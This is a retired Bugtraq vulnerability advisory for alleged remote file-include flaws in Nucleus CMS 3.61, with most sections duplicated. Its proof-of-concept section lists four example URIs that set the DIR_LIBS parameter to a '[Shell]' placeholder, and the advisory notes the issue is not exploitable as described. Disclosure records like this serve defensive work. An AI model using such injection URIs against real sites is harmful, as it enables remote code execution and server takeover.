RETIRED: Nucleus CMS Multiple Remote File Include Vulnerabilities
BID:45671
Info
RETIRED: Nucleus CMS Multiple Remote File Include Vulnerabilities
| Bugtraq ID: | 45671 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 05 2011 12:00AM |
| Updated: | Jan 06 2011 03:52PM |
| Credit: | n0n0x |
| Vulnerable: |
Nucleus CMS Nucleus CMS 3.61 |
| Not Vulnerable: | |
Discussion
RETIRED: Nucleus CMS Multiple Remote File Include Vulnerabilities
Nucleus CMS is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
Exploiting these issues may allow a remote attacker to obtain sensitive information or to execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.
Nucleus CMS 3.61 and prior versions are vulnerable.
RETIRED: This BID is retired; this issue is not exploitable as described.
Nucleus CMS is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
Exploiting these issues may allow a remote attacker to obtain sensitive information or to execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.
Nucleus CMS 3.61 and prior versions are vulnerable.
RETIRED: This BID is retired; this issue is not exploitable as described.
Exploit / POC
RETIRED: Nucleus CMS Multiple Remote File Include Vulnerabilities
An attacker can exploit these issues through a browser.
The following example URIs are available:
http://www.example.com/nucleus3.61/action.php?DIR_LIBS=[Shell]
http://www.example.com/nucleus3.61/nucleus/media.php?DIR_LIBS=[Shell]
http://www.example.com/nucleus3.61/nucleus/xmlrpc/server.php?DIR_LIBS=[Shell]
http://www.example.com/nucleus3.61/nucleus/libs/PLUGINADMIN.php?DIR_LIBS=[Shell]
An attacker can exploit these issues through a browser.
The following example URIs are available:
http://www.example.com/nucleus3.61/action.php?DIR_LIBS=[Shell]
http://www.example.com/nucleus3.61/nucleus/media.php?DIR_LIBS=[Shell]
http://www.example.com/nucleus3.61/nucleus/xmlrpc/server.php?DIR_LIBS=[Shell]
http://www.example.com/nucleus3.61/nucleus/libs/PLUGINADMIN.php?DIR_LIBS=[Shell]
Solution / Fix
RETIRED: Nucleus CMS Multiple Remote File Include Vulnerabilities
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
References
RETIRED: Nucleus CMS Multiple Remote File Include Vulnerabilities
References:
References:
- Nucleus CMS Download Page (Nucleus)
- Nucleus CMS Homepage (Nucleus)